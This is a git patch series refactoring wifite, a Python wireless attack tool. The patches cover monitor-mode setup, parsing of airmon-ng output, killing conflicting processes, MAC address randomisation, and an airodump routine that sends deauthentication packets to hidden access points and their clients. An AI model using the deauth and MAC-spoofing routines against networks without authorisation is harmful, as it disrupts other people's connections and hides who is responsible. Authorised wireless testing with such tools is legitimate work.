+ def get_mac(cls, interface): + from ..util.process import Process + + output = Process(['ifconfig', interface]).stdout() + + mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] + match = re.search(' (%s)' % mac_regex, output) + + if not match: + raise Exception('Could not find the mac address for %s' % interface) + + return match.groups()[0].replace('-', ':') + diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py new file mode 100644 index 000000000..f09a3ae9d --- /dev/null +++ b/wifite/tools/iwconfig.py @@ -0,0 +1,38 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +class Iwconfig(object): + @classmethod + def exists(cls): + pass + + @classmethod + def mode(cls, iface, mode_name): + from ..util.process import Process + + pid = Process(['iwconfig', iface, 'mode', mode_name]) + pid.wait() + + return pid.poll() + + @classmethod + def get_interfaces(cls, mode=None): + from ..util.process import Process + + interfaces = set() + + (out, err) = Process.call('iwconfig') + for line in out.split('\n'): + if len(line) == 0: continue + + if not line.startswith(' '): + iface = line.split(' ')[0] + if '\t' in iface: + iface = iface.split('\t')[0] + if mode is None: + interfaces.add(iface) + + if mode is not None and 'Mode:{}'.format(mode) in line: + interfaces.add(iface) + return list(interfaces) + diff --git a/wifite/tools/macchanger.py b/wifite/tools/macchanger.py index 46cd81ddf..415619e27 100755 --- a/wifite/tools/macchanger.py +++ b/wifite/tools/macchanger.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- from ..model.interface import Interface +from ..tools.ifconfig import Ifconfig from ..util.color import Color class Macchanger(object): @@ -15,22 +16,22 @@ def init(cls): from ..config import Configuration iface = Configuration.interface if type(iface) == Interface: - iface = iface.name - cls.original_mac = Interface.get_mac(iface) + iface = iface.interface + cls.original_mac = Ifconfig.get_mac(iface) + cls.is_init = True @classmethod def down_macch_up(cls, macch_option): cls.init() + from ..util.process import Process from ..config import Configuration iface = Configuration.interface - cmd = ["ifconfig", iface, "down"] Color.clear_entire_line() Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface) - ifdown = Process(cmd) - ifdown.wait() - if ifdown.poll() != 0: + + if Ifconfig.down(iface) != 0: Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr())) return False @@ -45,12 +46,11 @@ def down_macch_up(cls, macch_option): Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr())) return False - cmd = ["ifconfig", iface, "up"] Color.clear_entire_line() Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) - ifup = Process(cmd) + ifup.wait() - if ifup.poll() != 0: + if Ifconfig.up(iface) != 0: Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr())) return False @@ -62,7 +62,7 @@ def reset(cls): if not cls.down_macch_up("-p"): return Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...") from ..config import Configuration - new_mac = Interface.get_mac(Configuration.interface) + new_mac = Ifconfig.get_mac(Configuration.interface) Color.clear_entire_line() Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac) @@ -72,7 +72,7 @@ def random(cls): if not cls.down_macch_up("-r"): return cls.is_changed = True from ..config import Configuration - new_mac = Interface.get_mac(Configuration.interface) + new_mac = Ifconfig.get_mac(Configuration.interface) Color.clear_entire_line() Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac) diff --git a/wifite/wifite.py b/wifite/wifite.py index b8166900a..23ed4f77f 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -4,7 +4,7 @@ try: from .config import Configuration except (ValueError, ImportError) as e: - raise Exception('You may need to run wifite from the root directory (which includes README.md)') + raise Exception('You may need to run wifite from the root directory (which includes README.md)', e) from .util.scanner import Scanner from .util.process import Process @@ -43,7 +43,7 @@ def main(self): elif Configuration.crack_handshake: CrackHandshake() else: - Configuration.get_interface() + Configuration.get_monitor_mode_interface() self.run() def dependency_check(self): From 8f3297254631a18113a64d4daf4b8c747d61f87a Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 06:16:53 -0400 Subject: [PATCH 36/52] Fix bug in macchanger --- wifite/tools/macchanger.py | 1 - 1 file changed, 1 deletion(-) diff --git a/wifite/tools/macchanger.py b/wifite/tools/macchanger.py index 415619e27..81e74b91c 100755 --- a/wifite/tools/macchanger.py +++ b/wifite/tools/macchanger.py @@ -49,7 +49,6 @@ def down_macch_up(cls, macch_option): Color.clear_entire_line() Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) - ifup.wait() if Ifconfig.up(iface) != 0: Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr())) From 2b40ce3706538a9e41d3d18d7ed6a81105940dfa Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 14:42:24 -0400 Subject: [PATCH 37/52] Code cleanup --- wifite/args.py | 2 +- wifite/config.py | 26 +-- wifite/model/attack.py | 12 +- wifite/tools/airmon.py | 313 +++++++++++++++++++++---------------- wifite/tools/airodump.py | 101 ++++++------ wifite/tools/ifconfig.py | 30 ++-- wifite/tools/iwconfig.py | 6 +- wifite/tools/macchanger.py | 100 ++++++------ wifite/util/color.py | 26 ++- 9 files changed, 335 insertions(+), 281 deletions(-) diff --git a/wifite/args.py b/wifite/args.py index 2e721bbe8..7534fde10 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -67,7 +67,7 @@ def _add_global_args(self, glob): glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) glob.add_argument('-mac', - '---random-mac', + '--random-mac', action='store_true', dest='random_mac', help=Color.s('Randomize wireless card MAC address (default: {G}off{W})')) diff --git a/wifite/config.py b/wifite/config.py index 6b73ce275..f0b4ac7e5 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -1,18 +1,19 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +import os + from .util.color import Color from .tools.macchanger import Macchanger -import os - class Configuration(object): ''' Stores configuration variables and functions for Wifite. ''' - verbose = 0 + version = '2.1.3' initialized = False # Flag indicating config has been initialized temp_dir = None # Temporary directory - version = '2.1.3' + interface = None + verbose = 0 @staticmethod def initialize(load_interface=True): @@ -315,15 +316,18 @@ def exit_gracefully(code=0): Configuration.delete_temp() Macchanger.reset_if_changed() from .tools.airmon import Airmon - if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: - Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) - Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) - #Airmon.stop(Configuration.interface) - #Airmon.put_interface_up(Airmon.base_interface) + if Configuration.interface is not None and Airmon.base_interface is not None: + #Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface) + #Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface) + + # Stop monitor mode + Airmon.stop(Configuration.interface) + # Bring original interface back up + Airmon.put_interface_up(Airmon.base_interface) if Airmon.killed_network_manager: - Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') - #Airmon.start_network_manager() + #Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') + Airmon.start_network_manager() exit(code) diff --git a/wifite/model/attack.py b/wifite/model/attack.py index 9e0cc2e56..a915c210d 100755 --- a/wifite/model/attack.py +++ b/wifite/model/attack.py @@ -4,9 +4,7 @@ import time class Attack(object): - ''' - Contains functionality common to all attacks - ''' + '''Contains functionality common to all attacks.''' target_wait = 20 @@ -17,17 +15,13 @@ def run(self): raise Exception("Unimplemented method: run") def wait_for_target(self, airodump): - ''' - Waits for target to appear in airodump - ''' + '''Waits for target to appear in airodump.''' start_time = time.time() targets = airodump.get_targets(apply_filter=False) while len(targets) == 0: # Wait for target to appear in airodump. if int(time.time() - start_time) > Attack.target_wait: - raise Exception( - "Target did not appear after %d seconds, stopping" - % Attack.target_wait) + raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait) time.sleep(1) targets = airodump.get_targets() continue diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index b8bf2a615..5f42dc3ac 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -13,11 +13,49 @@ import os import signal +class AirmonIface(object): + def __init__(self, phy, interface, driver, chipset): + self.phy = phy + self.interface = interface + self.driver = driver + self.chipset = chipset + self.mac_address = Ifconfig.get_mac(interface) + + # Max length of fields. + # Used for printing a table of interfaces. + PHY_LEN = 6 + INTERFACE_LEN = 12 + DRIVER_LEN = 20 + CHIPSET_LEN = 30 + + def __str__(self): + ''' Colored string representation of interface ''' + s = Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) + s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN)) + s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN)) + s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) + return s + + @staticmethod + def menu_header(): + ''' Colored header row for interfaces ''' + s = ' ' + s += 'PHY'.ljust(AirmonIface.PHY_LEN) + s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN) + s += 'Driver'.ljust(AirmonIface.DRIVER_LEN) + s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN) + s += '\n' + s += '-' * (Interface.PHY_LEN + Interface.INTERFACE_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN + 3) + return s + + class Airmon(object): ''' Wrapper around the 'airmon-ng' program ''' base_interface = None killed_network_manager = False + # Drivers that need to be manually put into monitor mode + BAD_DRIVERS = ['rtl8821au'] #see if_arp.h ARPHRD_ETHER = 1 #managed ARPHRD_IEEE80211_RADIOTAP = 803 #monitor @@ -31,7 +69,7 @@ def refresh(self): def print_menu(self): ''' Prints menu ''' - print(Interface.menu_header()) + print(AirmonIface.menu_header()) for idx, iface in enumerate(self.interfaces, start=1): Color.pl(" {G}%d{W}. %s" % (idx, iface)) @@ -44,46 +82,59 @@ def get(self, index): @staticmethod def get_interfaces(): - ''' - Returns: - List of Interface objects known by airmon-ng - ''' + '''Returns List of AirmonIface objects known by airmon-ng''' interfaces = [] p = Process('airmon-ng') for line in p.stdout().split('\n'): - # Ignore blank/header lines - if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): + # [PHY ]IFACE DRIVER CHIPSET + airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$') + matches = airmon_re.match(line) + if not matches: continue - # Strip out interface information - fields = line.split("\t") - while '' in fields: - fields.remove('') - # Add Interface object to list - interfaces.append(Interface(fields)) + phy, interface, driver, chipset = matches.groups() + if phy == 'PHY' or phy == 'Interface': + continue # Header + + interfaces.append(AirmonIface(phy, interface, driver, chipset)) + return interfaces @staticmethod - def start_baddriver(iface): #fix for bad drivers like the rtl8812AU + def start_bad_driver(iface): + ''' + Manually put interface into monitor mode (no airmon-ng or vif). + Fix for bad drivers like the rtl8812AU. + ''' Ifconfig.down(iface) Iwconfig.mode(iface, 'monitor') Ifconfig.up(iface) - with open("/sys/class/net/" + iface + "/type", "r") as f: - if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): - return iface + # /sys/class/net/wlan0/type + iface_type_path = os.path.join('/sys/class/net', iface, 'type') + if os.path.exists(iface_type_path): + with open(iface_type_path, 'r') as f: + if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): + return iface return None @staticmethod - def stop_baddriver(iface): + def stop_bad_driver(iface): + ''' + Manually put interface into managed mode (no airmon-ng or vif). + Fix for bad drivers like the rtl8812AU. + ''' Ifconfig.down(iface) Iwconfig.mode(iface, 'managed') Ifconfig.up(iface) - with open("/sys/class/net/" + iface + "/type", "r") as f: - if (int(f.read()) == Airmon.ARPHRD_ETHER): - return iface + # /sys/class/net/wlan0/type + iface_type_path = os.path.join('/sys/class/net', iface, 'type') + if os.path.exists(iface_type_path): + with open(iface_type_path, 'r') as f: + if (int(f.read()) == Airmon.ARPHRD_ETHER): + return iface return None @@ -93,7 +144,7 @@ def start(iface): Starts an interface (iface) in monitor mode Args: iface - The interface to start in monitor mode - Either an instance of Interface object, + Either an instance of AirmonIface object, or the name of the interface (string). Returns: Name of the interface put into monitor mode. @@ -101,117 +152,121 @@ def start(iface): Exception - If an interface can't be put into monitor mode ''' # Get interface name from input - if type(iface) == Interface: - iface = iface.interface - Airmon.base_interface = iface + if type(iface) == AirmonIface: + iface_name = iface.interface + driver = iface.driver + else: + iface_name = iface + driver = None - # Call airmon-ng - Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface) - (out,err) = Process.call('airmon-ng start %s' % iface) + # Remember this as the "base" interface. + Airmon.base_interface = iface_name - mon_iface = Airmon._parse_airmon_start(out) + Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name) - if mon_iface is None: - # Airmon did not enable monitor mode on an interface - mon_iface = Airmon.start_baddriver(iface) + airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout() - if mon_iface is None: + enabled_iface = Airmon._parse_airmon_start(airmon_output) + + if enabled_iface is None and driver in Airmon.BAD_DRIVERS: + Color.p('{O}"bad driver" detected{W} ') + enabled_iface = Airmon.start_bad_driver(iface_name) + + if enabled_iface is None: Color.pl("{R}failed{W}") - mon_ifaces = Airmon.get_interfaces_in_monitor_mode() + monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') # Assert that there is an interface in monitor mode - if len(mon_ifaces) == 0: + if len(monitor_interfaces) == 0: Color.pl("{R}failed{W}") - raise Exception("iwconfig does not see any interfaces in Mode:Monitor") + raise Exception("Cannot find any interfaces in Mode:Monitor") # Assert that the interface enabled by airmon-ng is in monitor mode - if mon_iface not in mon_ifaces: + if enabled_iface not in monitor_interfaces: Color.pl("{R}failed{W}") - raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface) - - # No errors found; the device 'mon_iface' was put into MM. - Color.pl("{G}enabled {C}%s{W}" % mon_iface) + raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface) - Configuration.interface = mon_iface + # No errors found; the device 'enabled_iface' was put into Mode:Monitor. + Color.pl("{G}enabled {C}%s{W}" % enabled_iface) - return mon_iface + return enabled_iface @staticmethod - def _parse_airmon_start(stdout): - # Find the interface put into monitor mode (if any) - mon_iface = None - for line in stdout.split('\n'): - if 'monitor mode' in line and 'enabled' in line and ' on ' in line: - mon_iface = line.split(' on ')[1] - if ']' in mon_iface: - mon_iface = mon_iface.split(']')[1] - if ')' in mon_iface: - mon_iface = mon_iface.split(')')[0] - break - return mon_iface + def _parse_airmon_start(airmon_output): + '''Find the interface put into monitor mode (if any)''' + + # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) + enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') + + for line in airmon_output.split('\n'): + matches = enabled_re.match(line) + if matches: + return matches.group(1) + + return None @staticmethod def stop(iface): Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface) - (out,err) = Process.call('airmon-ng stop %s' % iface) - mon_iface = None - for line in out.split('\n'): - # aircrack-ng 1.2 rc2 - if 'monitor mode' in line and 'disabled' in line and ' for ' in line: - mon_iface = line.split(' for ')[1] - if ']' in mon_iface: - mon_iface = mon_iface.split(']')[1] - if ')' in mon_iface: - mon_iface = mon_iface.split(')')[0] - break - - # aircrack-ng 1.2 rc1 - match = re.search('([a-zA-Z0-9]+).*\(removed\)', line) - if match: - mon_iface = match.groups()[0] - break - if not mon_iface: - mon_iface = Airmon.stop_baddriver(iface) + airmon_output = Process(['airmon-ng', 'stop', iface]).stdout() - if mon_iface: - Color.pl('{R}disabled %s{W}' % mon_iface) + disabled_iface = Airmon._parse_airmon_stop(airmon_output) + + if not disabled_iface and iface in Airmon.BAD_DRIVERS: + Color.p('{O}"bad driver" detected{W} ') + disabled_iface = Airmon.stop_bad_driver(iface) + + if disabled_iface: + Color.pl('{G}disabled %s{W}' % disabled_iface) else: Color.pl('{O}could not disable on {R}%s{W}' % iface) @staticmethod - def get_interfaces_in_monitor_mode(): - ''' - Uses 'iwconfig' to find all interfaces in monitor mode - Returns: - List of interface names that are in monitor mode - ''' - return Iwconfig.get_interfaces(mode='Monitor') + def _parse_airmon_stop(airmon_output): + '''Find the interface taken out of into monitor mode (if any)''' + + # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) + disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*') + + # airmon-ng 1.2rc1 output: wlan0mon (removed) + removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)') + + disabled_iface = None + for line in airmon_output.split('\n'): + matches = disabled_re.match(line) + if matches: + return matches.group(1) + + matches = removed_re.match(line) + if matches: + return matches.group(1) + + return None @staticmethod def ask(): ''' - Asks user to define which wireless interface to use. - Does not ask if: - 1. There is already an interface in monitor mode, or - 2. There is only one wireles interface (automatically selected). - Puts selected device into Monitor Mode. + Asks user to define which wireless interface to use. + Does not ask if: + 1. There is already an interface in monitor mode, or + 2. There is only one wireless interface (automatically selected). + Puts selected device into Monitor Mode. ''' Airmon.terminate_conflicting_processes() Color.pl('\n{+} looking for {C}wireless interfaces{W}') - mon_ifaces = Airmon.get_interfaces_in_monitor_mode() - mon_count = len(mon_ifaces) - if mon_count == 1: + monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') + if len(monitor_interfaces) == 1: # Assume we're using the device already in montior mode - iface = mon_ifaces[0] - Color.pl('{+} using interface {G}%s{W} which is already in monitor mode' - % iface); + iface = monitor_interfaces[0] + Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); + Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') Airmon.base_interface = None return iface @@ -240,7 +295,7 @@ def ask(): iface = a.get(choice) - if a.get(choice).interface in mon_ifaces: + if a.get(choice).interface in monitor_interfaces: Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface) else: iface.interface = Airmon.start(iface) @@ -251,52 +306,48 @@ def ask(): def terminate_conflicting_processes(): ''' Deletes conflicting processes reported by airmon-ng ''' - ''' - % airmon-ng check - - Found 3 processes that could cause trouble. - If airodump-ng, aireplay-ng or airtun-ng stops working after - a short period of time, you may want to kill (some of) them! - -e - PID Name - 2272 dhclient - 2293 NetworkManager - 3302 wpa_supplicant - ''' + airmon_output = Process(['airmon-ng', 'check']).stdout() - out = Process(['airmon-ng', 'check']).stdout() - if 'processes that could cause trouble' not in out: - # No proceses to kill - return + # Conflicting process IDs and names + pid_pnames = [] - hit_pids = False - for line in out.split('\n'): - if re.search('^ *PID', line): - hit_pids = True - continue - if not hit_pids or line.strip() == '': - continue - match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line) + # 2272 dhclient + # 2293 NetworkManager + pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$') + for line in airmon_output.split('\n'): + match = pid_pname_re.match(line) if match: - # Found process - pid = match.groups()[0] - pname = match.groups()[1] - if Configuration.kill_conflicting_processes: - Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) - os.kill(int(pid), signal.SIGTERM) - if pname == 'NetworkManager': - Airmon.killed_network_manager= True - else: - Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + pid = match.group(1) + pname = match.group(2) + pid_pnames.append( (pid, pname) ) + + if len(pid_pnames) == 0: + return if not Configuration.kill_conflicting_processes: - Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}') + # Don't kill processes, warn user + for pid, pname in pid_pnames: + Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') + return + + Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames)) + for pid, pname in pid_pnames: + if pname == 'NetworkManager' and Process.exists('service'): + Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})') + # Can't just pkill network manager; it's a service + Process(['service', 'network-manager', 'stop']).wait() + Airmon.killed_network_manager = True + else: + Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) + os.kill(int(pid), signal.SIGTERM) + @staticmethod def put_interface_up(iface): Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface)) Ifconfig.up(iface) - Color.pl(" {R}done{W}") + Color.pl(" {G}done{W}") @staticmethod def start_network_manager(): diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index ccfa72dcf..c5467a7fa 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -16,9 +16,7 @@ class Airodump(object): def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ ivs_only=False, skip_wps=False): - ''' - Sets up airodump arguments, doesn't start process yet - ''' + '''Sets up airodump arguments, doesn't start process yet.''' Configuration.initialize() @@ -51,9 +49,9 @@ def __init__(self, interface=None, channel=None, encryption=None,\ def __enter__(self): ''' - Setting things up for this context. - Called at start of 'with Airodump(...) as x:' - Actually starts the airodump process. + Setting things up for this context. + Called at start of 'with Airodump(...) as x:' + Actually starts the airodump process. ''' self.delete_airodump_temp_files() @@ -67,22 +65,15 @@ def __enter__(self): '-w', self.csv_file_prefix, # Output file prefix '--write-interval', '1' # Write every second ] - if self.channel: - command.extend(['-c', str(self.channel)]) - elif self.five_ghz: - command.extend(['--band', 'a']) - - if self.encryption: - command.extend(['--enc', self.encryption]) - if self.wps: - command.extend(['--wps']) - if self.target_bssid: - command.extend(['--bssid', self.target_bssid]) - - if self.ivs_only: - command.extend(['--output-format', 'ivs,csv']) - else: - command.extend(['--output-format', 'pcap,csv']) + if self.channel: command.extend(['-c', str(self.channel)]) + elif self.five_ghz: command.extend(['--band', 'a']) + + if self.encryption: command.extend(['--enc', self.encryption]) + if self.wps: command.extend(['--wps']) + if self.target_bssid: command.extend(['--bssid', self.target_bssid]) + + if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) + else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) @@ -91,8 +82,8 @@ def __enter__(self): def __exit__(self, type, value, traceback): ''' - Tearing things down since the context is being exited. - Called after 'with Airodump(...)' goes out of scope. + Tearing things down since the context is being exited. + Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() @@ -104,16 +95,20 @@ def __exit__(self, type, value, traceback): def find_files(self, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] - for fil in os.listdir(Configuration.temp()): - if fil.startswith(self.output_file_prefix): - if not endswith or fil.endswith(endswith): - result.append(Configuration.temp() + fil) + temp = Configuration.temp() + for fil in os.listdir(temp): + if not fil.startswith(self.output_file_prefix): + continue + + if not endswith or fil.endswith(endswith): + result.append(os.path.join(temp, fil)) + return result def delete_airodump_temp_files(self): ''' - Deletes airodump* files in the temp directory. - Also deletes replay_*.cap and *.xor files in pwd. + Deletes airodump* files in the temp directory. + Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files for fil in self.find_files(): @@ -130,14 +125,12 @@ def get_targets(self, apply_filter=True): # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='-01.csv'): - # Found the file - csv_filename = fil + csv_filename = fil # Found the file break + if csv_filename is None or not os.path.exists(csv_filename): - # No file found - return self.targets + return self.targets # No file found - # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) # Check targets for WPS @@ -156,9 +149,12 @@ def get_targets(self, apply_filter=True): # Sort by power targets.sort(key=lambda x: x.power, reverse=True) + # Identify decloaked targets for old_target in self.targets: for new_target in targets: - if old_target.bssid != new_target.bssid: continue + if old_target.bssid != new_target.bssid: + continue + if new_target.essid_known and not old_target.essid_known: # We decloaked a target! new_target.decloaked = True @@ -175,9 +171,7 @@ def get_targets(self, apply_filter=True): @staticmethod def get_targets_from_csv(csv_filename): - ''' - Returns list of Target objects parsed from CSV file - ''' + '''Returns list of Target objects parsed from CSV file.''' targets = [] import csv with open(csv_filename, 'rb') as csvopen: @@ -270,16 +264,16 @@ def filter_targets(targets, skip_wps=False): def deauth_hidden_targets(self): ''' - Sends deauths (to broadcast and to each client) for all - targets (APs) that have unknown ESSIDs (hidden router names). + Sends deauths (to broadcast and to each client) for all + targets (APs) that have unknown ESSIDs (hidden router names). ''' self.decloaking = False - # Do not deauth if requested - if Configuration.no_deauth: return + if Configuration.no_deauth: + return # Do not deauth if requested - # Do not deauth if channel is not fixed. - if self.channel is None: return + if self.channel is None: + return # Do not deauth if channel is not fixed. # Reusable deauth command deauth_cmd = [ @@ -288,22 +282,27 @@ def deauth_hidden_targets(self): str(Configuration.num_deauths), # Number of deauth packets to send '--ignore-negative-one' ] + for target in self.targets: - if target.essid_known: continue + if target.essid_known: + continue + now = int(time.time()) secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) - # Decloak every AP once every 30 seconds - if secs_since_decloak < 30: continue + + if secs_since_decloak < 30: + continue # Decloak every AP once every 30 seconds + self.decloaking = True self.decloaked_times[target.bssid] = now if Configuration.verbose > 1: from ..util.color import Color - verbout = " [?] Deauthing %s" % target.bssid - verbout += " (broadcast & %d clients)" % len(target.clients) - Color.pe("\n{C}" + verbout + "{W}") + Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients))) + # Deauth broadcast iface = Configuration.interface Process(deauth_cmd + ['-a', target.bssid, iface]) + # Deauth clients for client in target.clients: Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface]) diff --git a/wifite/tools/ifconfig.py b/wifite/tools/ifconfig.py index b0de5a897..5a9cb0ca6 100644 --- a/wifite/tools/ifconfig.py +++ b/wifite/tools/ifconfig.py @@ -18,7 +18,8 @@ def up(cls, interface, args=[]): pid = Process(command) pid.wait() - return pid.poll() == 0 + if pid.poll() != 0: + raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) @classmethod @@ -26,15 +27,10 @@ def down(cls, interface): '''Put interface down''' from ..util.process import Process - command = ['ifconfig', interface, 'down'] - if type(args) is list: - command.extend(args) - elif type(args) is 'str': - command.append(args) - - pid = Process(command) + pid = Process(['ifconfig', interface, 'down']) pid.wait() - return pid.poll() == 0 + if pid.poll() != 0: + raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) @classmethod @@ -43,11 +39,17 @@ def get_mac(cls, interface): output = Process(['ifconfig', interface]).stdout() - mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] - match = re.search(' (%s)' % mac_regex, output) + # Mac address separated by dashes + mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] + match = re.search(' ({})'.format(mac_dash_regex), output) + if match: + return match.group(1).replace('-', ':') - if not match: - raise Exception('Could not find the mac address for %s' % interface) + # Mac address separated by colons + mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search(' ({})'.format(mac_colon_regex), output) + if match: + return match.group(1) - return match.groups()[0].replace('-', ':') + raise Exception('Could not find the mac address for %s' % interface) diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py index f09a3ae9d..939f15f22 100644 --- a/wifite/tools/iwconfig.py +++ b/wifite/tools/iwconfig.py @@ -4,7 +4,9 @@ class Iwconfig(object): @classmethod def exists(cls): - pass + from ..util.process import Process + return Process.exists('iwconfig') + @classmethod def mode(cls, iface, mode_name): @@ -15,6 +17,7 @@ def mode(cls, iface, mode_name): return pid.poll() + @classmethod def get_interfaces(cls, mode=None): from ..util.process import Process @@ -34,5 +37,6 @@ def get_interfaces(cls, mode=None): if mode is not None and 'Mode:{}'.format(mode) in line: interfaces.add(iface) + return list(interfaces) diff --git a/wifite/tools/macchanger.py b/wifite/tools/macchanger.py index 81e74b91c..43313c88d 100755 --- a/wifite/tools/macchanger.py +++ b/wifite/tools/macchanger.py @@ -6,76 +6,80 @@ from ..util.color import Color class Macchanger(object): - is_init = False is_changed = False - original_mac = None @classmethod - def init(cls): - if cls.is_init: return - from ..config import Configuration - iface = Configuration.interface - if type(iface) == Interface: - iface = iface.interface - cls.original_mac = Ifconfig.get_mac(iface) - cls.is_init = True - - @classmethod - def down_macch_up(cls, macch_option): - cls.init() - + def down_macch_up(cls, iface, options): + '''Put interface down, run macchanger with options, put interface up''' from ..util.process import Process - from ..config import Configuration - iface = Configuration.interface Color.clear_entire_line() - Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface) + Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface) - if Ifconfig.down(iface) != 0: - Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) - Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr())) - return False + Ifconfig.down(iface) - cmd = ["macchanger", macch_option, iface] Color.clear_entire_line() - Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface) - macch = Process(cmd) + Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface) + + command = ['macchanger'] + command.extend(options) + command.append(iface) 